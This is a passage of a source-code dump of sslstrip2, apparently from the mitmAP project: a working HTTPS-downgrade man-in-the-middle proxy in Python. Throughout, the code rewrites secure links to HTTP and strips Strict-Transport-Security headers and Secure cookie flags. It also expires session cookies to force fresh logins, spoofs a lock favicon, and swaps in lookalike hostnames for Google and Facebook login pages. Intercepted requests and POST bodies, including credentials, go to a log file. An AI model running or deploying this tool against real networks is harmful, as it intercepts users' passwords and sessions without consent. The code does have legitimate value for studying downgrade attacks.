99 | if os.path.exists(scriptPath): return scriptPath
100 |
101 | logging.warning("Error: Could not find lock.ico")
102 | return "lock.ico"
103 |
104 | def save_req(self,lfile,str):
105 | f = open(lfile,"a")
106 | f.write(str)
107 | f.close()
108 |
109 | def handleHostResolvedSuccess(self, address):
110 | headers = self.cleanHeaders()
111 | # for header in headers:
112 | # logging.debug("HEADER %s = %s",header,headers[header])
113 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address))
114 | lhost = self.getHeader("host").lower()
115 | host = self.urlMonitor.URLgetRealHost("%s"%lhost)
116 | client = self.getClientIP()
117 | path = self.getPathFromUri()
118 | self.content.seek(0,0)
119 | postData = self.content.read()
120 | real = self.urlMonitor.real
121 | patchDict = self.urlMonitor.patchDict
122 |
123 | if len(real)>0:
124 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
125 | path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path)
126 | postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData)
127 | if len(patchDict)>0:
128 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys())))
129 | postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData)
130 |
131 | url = 'http://' + host + path
132 | headers['content-length']="%d"%len(postData)
133 |
134 | self.dnsCache.cacheResolution(host, address)
135 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
136 | logging.debug("Sending expired cookies...")
137 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
138 | host, headers, path))
139 | elif (self.urlMonitor.isSecureFavicon(client, path)):
140 | logging.debug("Sending spoofed favicon response...")
141 | self.sendSpoofedFaviconResponse()
142 | elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
143 | if 'securelink' in headers:
144 | del headers['securelink']
145 | logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url))
146 | self.proxyViaSSL(address, self.method, path, postData, headers,
147 | self.urlMonitor.getSecurePort(client, url))
148 | else:
149 | logging.debug("LEO Sending request via HTTP...")
150 | self.proxyViaHTTP(address, self.method, path, postData, headers)
151 |
152 | def handleHostResolvedError(self, error):
153 | logging.warning("Host resolution error: " + str(error))
154 | self.finish()
155 |
156 | def resolveHost(self, host):
157 | address = self.dnsCache.getCachedAddress(host)
158 |
159 | if address != None:
160 | logging.debug("Host cached.")
161 | return defer.succeed(address)
162 | else:
163 | logging.debug("Host not cached.")
164 | return reactor.resolve(host)
165 |
166 | def process(self):
167 | host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host'))
168 | logging.debug("Resolving host: %s" % host)
169 | deferred = self.resolveHost(host)
170 |
171 | deferred.addCallback(self.handleHostResolvedSuccess)
172 | deferred.addErrback(self.handleHostResolvedError)
173 |
174 | def proxyViaHTTP(self, host, method, path, postData, headers):
175 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
176 | self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n')
177 | connectionFactory.protocol = ServerConnection
178 | self.reactor.connectTCP(host, 80, connectionFactory)
179 |
180 | def proxyViaSSL(self, host, method, path, postData, headers, port):
181 | self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n')
182 | clientContextFactory = ssl.ClientContextFactory()
183 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
184 | connectionFactory.protocol = SSLServerConnection
185 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory)
186 |
187 | def sendExpiredCookies(self, host, path, expireHeaders):
188 | self.setResponseCode(302, "Moved")
189 | self.setHeader("Connection", "close")
190 | self.setHeader("Location", "http://" + host + path)
191 |
192 | for header in expireHeaders:
193 | self.setHeader("Set-Cookie", header)
194 |
195 | self.finish()
196 |
197 | def sendSpoofedFaviconResponse(self):
198 | icoFile = open(self.getPathToLockIcon())
199 |
200 | self.setResponseCode(200, "OK")
201 | self.setHeader("Content-type", "image/x-icon")
202 | self.write(icoFile.read())
203 |
204 | icoFile.close()
205 | self.finish()
206 |
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/ClientRequest.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/ClientRequest.pyc
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/CookieCleaner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2011 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | import string
21 |
22 | class CookieCleaner:
23 | '''This class cleans cookies we haven't seen before. The basic idea is to
24 | kill sessions, which isn't entirely straight-forward. Since we want this to
25 | be generalized, there's no way for us to know exactly what cookie we're trying
26 | to kill, which also means we don't know what domain or path it has been set for.
27 |
28 | The rule with cookies is that specific overrides general. So cookies that are
29 | set for mail.foo.com override cookies with the same name that are set for .foo.com,
30 | just as cookies that are set for foo.com/mail override cookies with the same name
31 | that are set for foo.com/
32 |
33 | The best we can do is guess, so we just try to cover our bases by expiring cookies
34 | in a few different ways. The most obvious thing to do is look for individual cookies
35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
36 | set by Javascript instead of a Set-Cookie header, and if we block those the site
37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting
38 | based on client,server tuples. The first time a client hits a server, we kill whatever
39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
40 |
41 | '''
42 |
43 | _instance = None
44 |
45 | def getInstance():
46 | if CookieCleaner._instance == None:
47 | CookieCleaner._instance = CookieCleaner()
48 |
49 | return CookieCleaner._instance
50 |
51 | getInstance = staticmethod(getInstance)
52 |
53 | def __init__(self):
54 | self.cleanedCookies = set();
55 | self.enabled = False
56 |
57 | def setEnabled(self, enabled):
58 | self.enabled = enabled
59 |
60 | def isClean(self, method, client, host, headers):
61 | if method == "POST": return True
62 | if not self.enabled: return True
63 | if not self.hasCookies(headers): return True
64 |
65 | return (client, self.getDomainFor(host)) in self.cleanedCookies
66 |
67 | def getExpireHeaders(self, method, client, host, headers, path):
68 | domain = self.getDomainFor(host)
69 | self.cleanedCookies.add((client, domain))
70 |
71 | expireHeaders = []
72 |
73 | for cookie in headers['cookie'].split(";"):
74 | cookie = cookie.split("=")[0].strip()
75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
76 | expireHeaders.extend(expireHeadersForCookie)
77 |
78 | return expireHeaders
79 |
80 | def hasCookies(self, headers):
81 | return 'cookie' in headers
82 |
83 | def getDomainFor(self, host):
84 | hostParts = host.split(".")
85 | return "." + hostParts[-2] + "." + hostParts[-1]
86 |
87 | def getExpireCookieStringFor(self, cookie, host, domain, path):
88 | pathList = path.split("/")
89 | expireStrings = list()
90 |
91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
93 |
94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
96 |
97 | if len(pathList) > 2:
98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
100 |
101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
103 |
104 | return expireStrings
105 |
106 |
107 |
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/CookieCleaner.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/CookieCleaner.pyc
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/DnsCache.py:
--------------------------------------------------------------------------------
1 |
2 | class DnsCache:
3 |
4 | '''
5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
6 | '''
7 |
8 | _instance = None
9 |
10 | def __init__(self):
11 | self.cache = {}
12 |
13 | def cacheResolution(self, host, address):
14 | self.cache[host] = address
15 |
16 | def getCachedAddress(self, host):
17 | if host in self.cache:
18 | return self.cache[host]
19 |
20 | return None
21 |
22 | def getInstance():
23 | if DnsCache._instance == None:
24 | DnsCache._instance = DnsCache()
25 |
26 | return DnsCache._instance
27 |
28 | getInstance = staticmethod(getInstance)
29 |
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/DnsCache.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/DnsCache.pyc
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/SSLServerConnection.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string
20 |
21 | from ServerConnection import ServerConnection
22 |
23 | class SSLServerConnection(ServerConnection):
24 |
25 | '''
26 | For SSL connections to a server, we need to do some additional stripping. First we need
27 | to make note of any relative links, as the server will be expecting those to be requested
28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
29 | '''
30 |
31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
33 | iconExpression = re.compile(r"", re.IGNORECASE)
34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
35 | headExpression = re.compile(r"", re.IGNORECASE)
36 |
37 | def __init__(self, command, uri, postData, headers, client):
38 | ServerConnection.__init__(self, command, uri, postData, headers, client)
39 |
40 | def getLogLevel(self):
41 | return logging.INFO
42 |
43 | def getPostPrefix(self):
44 | return "SECURE POST"
45 |
46 | def handleHeader(self, key, value):
47 | if (key.lower() == 'set-cookie'):
48 | newvalues =[]
49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
50 | values = value.split(';')
51 | for v in values:
52 | if v[:7].lower()==' domain':
53 | dominio=v.split("=")[1]
54 | logging.debug("LEO Parsing cookie domain parameter: %s"%v)
55 | real = self.urlMonitor.sustitucion
56 | if dominio in real:
57 | v=" Domain=%s"%real[dominio]
58 | logging.debug("LEO New cookie domain parameter: %s"%v)
59 | newvalues.append(v)
60 | value = ';'.join(newvalues)
61 |
62 | if (key.lower() == 'access-control-allow-origin'):
63 | value='*'
64 |
65 | ServerConnection.handleHeader(self, key, value)
66 |
67 | def stripFileFromPath(self, path):
68 | (strippedPath, lastSlash, file) = path.rpartition('/')
69 | return strippedPath
70 |
71 | def buildAbsoluteLink(self, link):
72 | absoluteLink = ""
73 |
74 | if ((not link.startswith('http')) and (not link.startswith('/'))):
75 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
76 |
77 | logging.debug("Found path-relative link in secure transmission: " + link)
78 | logging.debug("New Absolute path-relative link: " + absoluteLink)
79 | elif not link.startswith('http'):
80 | absoluteLink = "http://"+self.headers['host']+link
81 |
82 | logging.debug("Found relative link in secure transmission: " + link)
83 | logging.debug("New Absolute link: " + absoluteLink)
84 |
85 | if not absoluteLink == "":
86 | absoluteLink = absoluteLink.replace('&', '&')
87 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
88 |
89 | def replaceCssLinks(self, data):
90 | iterator = re.finditer(SSLServerConnection.cssExpression, data)
91 |
92 | for match in iterator:
93 | self.buildAbsoluteLink(match.group(1))
94 |
95 | return data
96 |
97 | def replaceFavicon(self, data):
98 | match = re.search(SSLServerConnection.iconExpression, data)
99 |
100 | if (match != None):
101 | data = re.sub(SSLServerConnection.iconExpression,
102 | "", data)
103 | else:
104 | data = re.sub(SSLServerConnection.headExpression,
105 | "", data)
106 |
107 | return data
108 |
109 | def replaceSecureLinks(self, data):
110 | data = ServerConnection.replaceSecureLinks(self, data)
111 | data = self.replaceCssLinks(data)
112 |
113 | if (self.urlMonitor.isFaviconSpoofing()):
114 | data = self.replaceFavicon(data)
115 |
116 | iterator = re.finditer(SSLServerConnection.linkExpression, data)
117 |
118 | for match in iterator:
119 | self.buildAbsoluteLink(match.group(10))
120 |
121 | return data
122 |
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/SSLServerConnection.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/SSLServerConnection.pyc
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/ServerConnection.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string, random, zlib, gzip, StringIO
20 |
21 | from twisted.web.http import HTTPClient
22 | from URLMonitor import URLMonitor
23 |
24 | class ServerConnection(HTTPClient):
25 |
26 | ''' The server connection is where we do the bulk of the stripping. Everything that
27 | comes back is examined. The headers we dont like are removed, and the links are stripped
28 | from HTTPS to HTTP.
29 | '''
30 |
31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
32 | urlType = re.compile(r"https://", re.IGNORECASE)
33 | urlTypewww = re.compile(r"https://www", re.IGNORECASE)
34 | urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
35 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
36 | urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE)
37 | urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE)
38 | # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE)
39 |
40 | def __init__(self, command, uri, postData, headers, client):
41 | self.command = command
42 | self.uri = uri
43 | self.postData = postData
44 | self.headers = headers
45 | self.client = client
46 | self.urlMonitor = URLMonitor.getInstance()
47 | self.isImageRequest = False
48 | self.isCompressed = False
49 | self.contentLength = None
50 | self.shutdownComplete = False
51 |
52 | def getLogLevel(self):
53 | return logging.DEBUG
54 |
55 | def getPostPrefix(self):
56 | return "POST"
57 |
58 | def sendRequest(self):
59 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri))
60 | self.sendCommand(self.command, self.uri)
61 |
62 | def sendHeaders(self):
63 | for header, value in self.headers.items():
64 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value))
65 | self.sendHeader(header, value)
66 |
67 | self.endHeaders()
68 |
69 | def sendPostData(self):
70 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "): " + str(self.postData))
71 | self.transport.write(self.postData)
72 |
73 | def connectionMade(self):
74 | logging.log(self.getLogLevel(), "HTTP connection made.")
75 | self.sendRequest()
76 | self.sendHeaders()
77 |
78 | if (self.command == 'POST'):
79 | self.sendPostData()
80 |
81 | def handleStatus(self, version, code, message):
82 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message))
83 | self.client.setResponseCode(int(code), message)
84 |
85 | def handleHeader(self, key, value):
86 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value))
87 |
88 | if (key.lower() == 'location'):
89 | value = self.replaceSecureLinks(value)
90 |
91 | if (key.lower() == 'content-type'):
92 | if (value.find('image') != -1):
93 | self.isImageRequest = True
94 | logging.debug("Response is image content, not scanning...")
95 |
96 | if (key.lower() == 'content-encoding'):
97 | if (value.find('gzip') != -1):
98 | logging.debug("Response is compressed...")
99 | self.isCompressed = True
100 | elif (key.lower() == 'content-length'):
101 | self.contentLength = value
102 | elif (key.lower() == 'set-cookie'):
103 | self.client.responseHeaders.addRawHeader(key, value)
104 | elif (key.lower()== 'strict-transport-security'):
105 | logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....")
106 | else:
107 | self.client.setHeader(key, value)
108 |
109 |
110 | def handleEndHeaders(self):
111 | if (self.isImageRequest and self.contentLength != None):
112 | self.client.setHeader("Content-Length", self.contentLength)
113 |
114 | if self.length == 0:
115 | self.shutdown()
116 |
117 | def handleResponsePart(self, data):
118 | if (self.isImageRequest):
119 | self.client.write(data)
120 | else:
121 | HTTPClient.handleResponsePart(self, data)
122 |
123 | def handleResponseEnd(self):
124 | if (self.isImageRequest):
125 | self.shutdown()
126 | else:
127 | HTTPClient.handleResponseEnd(self)
128 |
129 | def handleResponse(self, data):
130 | if (self.isCompressed):
131 | logging.debug("Decompressing content...")
132 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
133 |
134 | logging.log(self.getLogLevel(), "Read from server:\n" + data)
135 | #logging.log(self.getLogLevel(), "Read from server:\n " )
136 |
137 |
138 | data = self.replaceSecureLinks(data)
139 |
140 | if (self.contentLength != None):
141 | self.client.setHeader('Content-Length', len(data))
142 |
143 | self.client.write(data)
144 | self.shutdown()
145 |
146 | def replaceSecureLinks(self, data):
147 | sustitucion = {}
148 | patchDict = self.urlMonitor.patchDict
149 | if len(patchDict)>0:
150 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys())))
151 | data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data)
152 |
153 | iterator = re.finditer(ServerConnection.urlExpression, data)
154 | for match in iterator:
155 | url = match.group()
156 |
157 | logging.debug("Found secure reference: " + url)
158 | nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
159 | logging.debug("LEO replacing %s => %s"%(url,nuevaurl))
160 | sustitucion[url] = nuevaurl
161 | #data.replace(url,nuevaurl)
162 |
163 | #data = self.urlMonitor.DataReemplazo(data)
164 | if len(sustitucion)>0:
165 | dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys())))
166 | data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
167 |
168 | #logging.debug("LEO DEBUG received data:\n"+data)
169 | #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
170 | #data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
171 | #if data.find("http://w.face")!=-1:
172 | # logging.debug("LEO DEBUG Found error in modifications")
173 | # raw_input("Press Enter to continue")
174 | #return re.sub(ServerConnection.urlType, 'http://web.', data)
175 | return data
176 |
177 |
178 | def shutdown(self):
179 | if not self.shutdownComplete:
180 | self.shutdownComplete = True
181 | self.client.finish()
182 | self.transport.loseConnection()
183 |
184 |
185 |
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/ServerConnection.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/ServerConnection.pyc
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/ServerConnectionFactory.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | from twisted.internet.protocol import ClientFactory
21 |
22 | class ServerConnectionFactory(ClientFactory):
23 |
24 | def __init__(self, command, uri, postData, headers, client):
25 | self.command = command
26 | self.uri = uri
27 | self.postData = postData
28 | self.headers = headers
29 | self.client = client
30 |
31 | def buildProtocol(self, addr):
32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
33 |
34 | def clientConnectionFailed(self, connector, reason):
35 | logging.debug("Server connection failed.")
36 |
37 | destination = connector.getDestination()
38 |
39 | if (destination.port != 443):
40 | logging.debug("Retrying via SSL")
41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
42 | else:
43 | self.client.finish()
44 |
45 |
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/ServerConnectionFactory.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/ServerConnectionFactory.pyc
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/StrippingProxy.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | from twisted.web.http import HTTPChannel
20 | from ClientRequest import ClientRequest
21 |
22 | class StrippingProxy(HTTPChannel):
23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things.
24 | This is the basic proxy server class, where we get callbacks for GET and POST methods.
25 | We then proxy these out using HTTP or HTTPS depending on what information we have about
26 | the (connection, client_address) tuple in our cache.
27 | '''
28 |
29 | requestFactory = ClientRequest
30 |
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/StrippingProxy.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/StrippingProxy.pyc
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/URLMonitor.py:
--------------------------------------------------------------------------------
1 | # URLMonitor
2 |
3 | import re
4 | import logging
5 |
6 | class URLMonitor:
7 |
8 | '''
9 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
10 | server is expecting over SSL. It also keeps track of secure favicon urls.
11 | '''
12 |
13 | # Start the arms race, and end up here...
14 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
15 | _instance = None
16 | sustitucion = {} # LEO: diccionario host / sustitucion
17 | real = {} # LEO: diccionario host / real
18 | patchDict = {
19 | 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
20 | 'https:\/\/www.facebook.com':'http:\/\/wwww.facebook.com',
21 | 'return"https:"':'return"http:"'
22 | }
23 |
24 | def __init__(self):
25 | self.strippedURLs = set()
26 | self.strippedURLPorts = {}
27 | self.faviconReplacement = False
28 | self.sustitucion["mail.google.com"] = "gmail.google.com"
29 | self.real["gmail.google.com"] = "mail.google.com"
30 |
31 | self.sustitucion["www.facebook.com"] = "social.facebook.com"
32 | self.real["social.facebook.com"] = "www.facebook.com"
33 |
34 | self.sustitucion["accounts.google.com"] = "cuentas.google.com"
35 | self.real["cuentas.google.com"] = "accounts.google.com"
36 |
37 | self.sustitucion["accounts.google.es"] = "cuentas.google.es"
38 | self.real["cuentas.google.es"] = "accounts.google.es"
39 |
40 |
41 | def isSecureLink(self, client, url):
42 | for expression in URLMonitor.javascriptTrickery:
43 | if (re.match(expression, url)):
44 | logging.debug("JavaScript trickery!")
45 | return True
46 |
47 | if (client, url) in self.strippedURLs:
48 | logging.debug("(%s, %s) in strippedURLs" % (client, url))
49 | return (client,url) in self.strippedURLs
50 |
51 | def getSecurePort(self, client, url):
52 | if (client,url) in self.strippedURLs:
53 | return self.strippedURLPorts[(client,url)]
54 | else:
55 | return 443
56 |
57 | def addSecureLink(self, client, url):
58 | methodIndex = url.find("//") + 2
59 | method = url[0:methodIndex]
60 | pathIndex = url.find("/", methodIndex)
61 |
62 | if pathIndex is -1:
63 | pathIndex = len(url)
64 | url += "/"
65 |
66 | host = url[methodIndex:pathIndex].lower()
67 | path = url[pathIndex:]
68 |
69 | port = 443
70 | portIndex = host.find(":")
71 |
72 | if (portIndex != -1):
73 | host = host[0:portIndex]
74 | port = host[portIndex+1:]
75 | if len(port) == 0:
76 | port = 443
77 |
78 | #LEO: Sustituir HOST
79 | if not self.sustitucion.has_key(host):
80 | lhost = host[:4]
81 | if lhost=="www.":
82 | self.sustitucion[host] = "w"+host
83 | self.real["w"+host] = host
84 | else:
85 | self.sustitucion[host] = "web"+host
86 | self.real["web"+host] = host
87 | logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
88 |
89 | url = 'http://' + host + path
90 | #logging.debug("LEO stripped URL: %s %s"%(client, url))
91 |
92 | self.strippedURLs.add((client, url))
93 | self.strippedURLPorts[(client, url)] = int(port)
94 | return 'http://'+self.sustitucion[host]+path
95 |
96 | def setFaviconSpoofing(self, faviconSpoofing):
97 | self.faviconSpoofing = faviconSpoofing
98 |
99 | def isFaviconSpoofing(self):
100 | return self.faviconSpoofing
101 |
102 | def isSecureFavicon(self, client, url):
103 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
104 |
105 | def URLgetRealHost(self,host):
106 | logging.debug("Parsing host: %s"%host)
107 | if self.real.has_key(host):
108 | logging.debug("New host: %s"%self.real[host])
109 | return self.real[host]
110 | else:
111 | logging.debug("New host: %s"%host)
112 | return host
113 |
114 | def getInstance():
115 | if URLMonitor._instance == None:
116 | URLMonitor._instance = URLMonitor()
117 |
118 | return URLMonitor._instance
119 |
120 | getInstance = staticmethod(getInstance)
121 |
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/URLMonitor.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/URLMonitor.pyc
--------------------------------------------------------------------------------
/src/sslstrip2/sslstrip/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xdavidhu/mitmAP/b590f9aae835b700850ab632f946a327dd5795cf/src/sslstrip2/sslstrip/__init__.pyc
--------------------------------------------------------------------------------